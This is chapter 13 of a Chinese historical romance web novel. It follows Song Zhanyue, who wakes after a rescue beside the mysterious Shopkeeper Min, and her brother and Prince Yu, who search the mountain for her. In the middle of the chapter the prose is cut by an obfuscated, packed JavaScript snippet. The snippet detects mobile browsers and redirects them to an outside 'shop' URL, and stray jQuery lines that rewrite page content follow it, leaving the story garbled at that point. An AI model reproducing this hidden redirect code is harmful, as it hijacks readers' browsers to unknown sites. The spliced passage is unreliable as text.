13. 第 13 章

作品:《狮子捞月

    宋展月悠悠醒来时,耳边传来柴火噼啪的轻响。


    她混沌地眨眨眼,几息之后,视线终于聚焦,眼前是堆不大的篝火,橘黄的火苗跳跃着,驱散了周遭的寒雾。


    “你醒了。”


    熟悉的声音从不远处响起。


    她猛地惊起,伤口骤然扯痛,却顾不上分毫,惶然抬眼望去——林木环绕的空地,一匹通体漆黑的骏马被系在树干上。


    男人站在五步之外,并未靠近篝火,身姿挺拔,半张脸被月色勾勒,半张脸映着跃动的火光,眉眼沉静,竟是红炉点雪的闵掌柜!


    “闵掌柜!你、你怎么会?”


    她惊讶到语无伦次,挣扎着想撑起身,手腕却传来钝痛感,受伤的手腕被布条仔细包扎。


    身下垫着质地上乘的靛青色男子外袍,旁边的平整石头上,还放着一个水囊和几块用油纸包着的糕点。


    这是怎么回事,她怎么在这里?


    她不是被人囚禁在了祭坛吗?那些人割开她的手腕取血……


    之后,之后又发生了什么?


    她忘了,只记得后来眼前一黑,便彻底晕死过去。


    对了,好像是有什么人硬闯进来了,她所看到的,那一角玄金色衣袍,是谁?


    “小心,别乱动,你流了很多血。”闵掌柜的声音透过篝火传来,带着惯有的沉稳,“先吃点东西。”


    她对自己的状态一无所知,云里雾里,哪里有胃口吃东西。


    “这、我怎么会在这里?我明明是在祭坛密室,是你救了我吗?”


    她抬眼,琥珀色的眼眸在火光映照下显得格外清亮,我见犹怜。


    “嗯。”眼前之人颔首:“姑娘被劫一案,京中震惊,朝野皆知。”


    “经商多年,走南闯北、见惯江湖,恰好认识了些三教九流的朋友,道是这山林近日有不明人士频繁出没,形迹可疑。”


    “闵某挂念姑娘安危,便冒险前来查探。幸得上天眷顾,寻到匪人巢穴时,正逢内里混乱,得以趁机将姑娘带出。”


    静静听完,宋展月心中的疑虑非但未消,反而更添几分。


    他这么说,似乎也合理。


    可是此等大案,狮牙卫必定倾巢而出,全力搜救。


    一个书斋掌柜,如何能赶在官府之前,精准找到这深山匪穴,甚至深入密室将她带出?


    况且,她刚才明明看见一个穿着玄金色衣袍的人。


    那金丝走线的纹样,像极了她当初见过的狮牙卫服饰制式……


    虽只一瞥,但那布料纹样,绝非寻常人家所能拥有。


    一个惊悚的念头,不受控制地钻入脑海。


    难不成,他就是闵敖本人!


    此念一出,宋展月整个人如坠冰窟,指尖发麻,寒意从脚底直冲头顶,心脏像是被什么狠狠攥住,几乎停止跳动。


    她望向眼前之人,仔细地、一寸寸地、打量他。


    他的站姿——挺拔如松,有一种久居人上的沉稳气度;他的轮廓——冷硬分明,与传闻中那位闵督主阴鸷俊美的描述隐隐重合……


    “宋姑娘?宋姑娘?”


    低沉的声音将她从惊惧的思绪中拉回。


    “啊!”


    她没忍住惊呼一声,又强迫自己冷静下来,竭力将眼底的波澜藏于神色之下。


    他站得离她比较远,不知是他恪守男女之防还是什么,总之他一直站在篝火之外的地方,没有靠近,这倒是让她稍稍放宽了心。


    她定了定神,犹豫着开口:“我方才醒来前,迷迷糊糊似乎看到一个穿着玄金色衣服的人……”


    “你、你是换衣裳了吗?”


    他低头看了眼自己的青袍,微微一笑:“你说这个?方才下雨,在山涧滑了一跤,外袍沾了泥泞,不便穿着,便暂且扔了。怎么,姑娘可是梦到了什么?”


    他答得自然,眼神坦荡。


    难道真的是她做梦吗?因为惊吓过度,所以才做了场糊涂梦?


    可是……怎么会呢?


    她不仅记得那一角衣袍,还记得上面沾染的血花,如果真是梦,会这般真切吗?


    宋展月默默攥紧拳头。


    “公子当真神通广大,这般偏僻之地,竟也能寻到我。”


    闵掌柜微微勾唇,倚靠在树干上,双眼含笑:“姑娘抬举了,不过是银子开路,人情往来。”


    他顿了顿,声音低缓了几分,声线柔和:“还有便是,得知姑娘落难,在下心中焦急,也顾不得许多,想着多一个人找,便多一分希望。”


    “幸好,一切都还来得及。”


    她心头猛地一跳,只觉那话语太过温柔,竟让她一时不知该如何回应,迟疑片刻,还是忍不住开口追问:


    “你说救我,就你一个人来的吗?此处危机四伏……”


    他神色不变:“自然不是单枪匹马。我雇了几个可靠的护卫同来,只是方才为引开可能的追兵,我已让他们分头行动,制造些动静。此处暂时应是安全的。”


    看着他被火光柔和的侧脸,听着他坦然的解释,再想起他数次相助的恩情,以及那个冷酷暴戾的闵督主传闻。


    两相对比,实在判若云泥。


    宋展月在心中暗暗长舒一气。


    是自己多心了。


    闵掌柜怎么可能会是闵敖?他们怎么可能会是同一个人?


    他要真是闵敖,又何须在她面前这般费心伪装、温言安抚?又怎会替她包扎,给她取暖、备好饮食清水?


    救她、照顾她,这么做对他而言,又没有什么好处。


    是她惊吓过度,疑神疑鬼,竟将救命恩人,与那等奸佞混为一谈。


    心中愧疚翻涌,她神色渐渐缓和,声音也软了几分:“闵掌柜又救我一次,这番恩情,展月真不知该如何报答。”


    “姑娘言重了。”


    他缓缓踱步,在篝火的三步远停了下来,依旧没有靠近火源,只是目光温和地看着她。


    “姑娘与我,也算是笔墨相交的知音。得知姑娘有难,闵某岂能袖手旁观?若说报答。”他轻轻摇头:“姑娘平安,便是对闵某最好的回馈。”


    “来,先吃点东西。”


    他说着,将一块温热软糯的糕点递到她面前。


    这么一说,宋展月还真是饿了,她拿起糕点,糕点入口即化,甜丝丝的口感暂时抚慰了惊魂未定的心神。


    林中雾气弥漫,不时有风穿过林间,带来阵阵寒意。


    即便是坐在火堆前,她还是忍不住瑟缩了一下身子,又见闵掌柜依旧站在那不远不近的地方,身形在夜雾中显得有些孤峭。


    她往旁边挪了挪,留出位置:“你也过来烤烤火吧,夜里太冷了。”


    “而且我们得快些离开这里才行,”想起其余被掳走的同伴,她担忧道,“还有其他被掳走的姑娘,不知她们现在如何了。”


    闵敖闻声不动,皎洁的月光将他的身影笼罩,如辉月下尘,衬得他侧脸轮廓愈发清俊分明。


    “不必,我不畏寒。”


    “至于旁人,姑娘无需担心,闵某已经遣人通知官府了,援兵很快会到。我们且安心等待即可。”


    虽然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201880|197219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是口头之语,却让宋展月莫名信任,总觉得眼前之人是一座可靠的山,既说是,那便是。


    她依言点了点头,彻底放下心中担忧,伸长手臂烤火,暖融融的。


    白皙皮肤在火光的映照下,透出温润如玉的光泽,一时安静非常,她下意识抬眼,却撞上那人似笑非笑的双眸。


    他似乎一直在看着她。


    “怎么了?”她摸了摸自己的脸蛋:“是粘上什么脏东西了吗?”


    他轻轻摇头:“没有。只是想起古人常以美玉喻君子,如今看来,火光映佳人,亦别有风致。”


    宋展月面颊微热,垂下眼睫,不知如何接话。


    只觉他这话说得太过直白,却又带着读书人特有的含蓄风雅,让人恼也不是,不恼也不是。


    她默默将最后一口糕点吃完,困意却不受控制地泛起。


    眼下这种场合,她也不敢阖眼,强打起精神,抬眼望去时,发现他神色专注,似乎在侧耳倾听什么,眉头几不可察地蹙了起来。


    “有人来了。”他忽然开口,迅速用泥土盖灭了篝火。


    “很多人,是追兵。”


    黑暗骤然笼罩,宋展月一时没回过神,慌忙起身,心脏因紧张而狂跳:“那现在怎么办?”


    “事急从权,得罪了。”


    话音未落,她只觉腰间一紧,沉稳的力道传来,整个人便被轻松托起,稳稳落在了马背上。


    紧接着,他也翻身而上,坐在她身后,双臂绕过她拉住缰绳,将她圈在了怀中。


    -


    在他们离开后不久,


    一队举着火把、手持兵刃的人马便围上了方才的空地。


    领先之人骑在骏马之上,面色凝重,正是誉王。


    他身侧,是焦急万分的宋辞渊。


    宋辞渊满面愁容,一身风尘,自事发至今未曾歇息过半刻。


    得知誉王领兵封山,他当即请求同往。


    二人率亲随在落霞山一带反复搜寻,直至方才接到狮牙卫传讯——被掳的贵女均已获救,唯独少了他的妹妹宋展月。


    正焦灼时,亲兵来报,林间隐约有火光闪现,二人当即策马赶来。


    此刻宋辞渊形容狼狈,因心绪不宁而坠马,衣袍被树枝勾破数处,沾满泥屑,全无往日丞相公子的清贵模样,满心满眼都只有妹妹安危。


    为何偏偏只有妹妹被带走?


    她如今身在何处、可曾受伤?


    纷乱念头缠得他心神不宁,恨不能插翅飞去宋展月身边。


    “禀王爷,宋大人,此处有刚熄灭的火堆,余温尚在,想必方才这里有人驻留,且离开不久。”


    “继续搜。”誉王下命:“仔细搜索周围,看是否有其他线索。”


    宋辞渊翻身下马,查看火堆状态,的确尚有余温。


    只是,这附近偶有猎户或樵夫夜宿,没法断定是否与妹妹一事相关,他长叹一气,焦虑更甚。


    “子衡。”誉王策马过来,“稍安。既然贼人未伤宋姑娘性命,只将她单独带走,必定是对她有所图谋,或为勒索,或为其他。眼下她性命应是无虞的。本王既已至此,定会将她救出,平安带回。”


    虽知是安慰之言,但此刻任何一丝希望都弥足珍贵。宋辞渊向他一拱手,声音沙哑:“谢殿下,子衡全仰仗您了。”


    这厢。


    宋展月被身后之人紧紧护着,马背颠簸,男人厚重的呼吸喷洒在她的颈间,炽热的心跳透过两人紧贴之处传来,沉稳而有力,宽阔的肩膀几乎将她整个人笼在其中,隔绝了凛冽的晨风。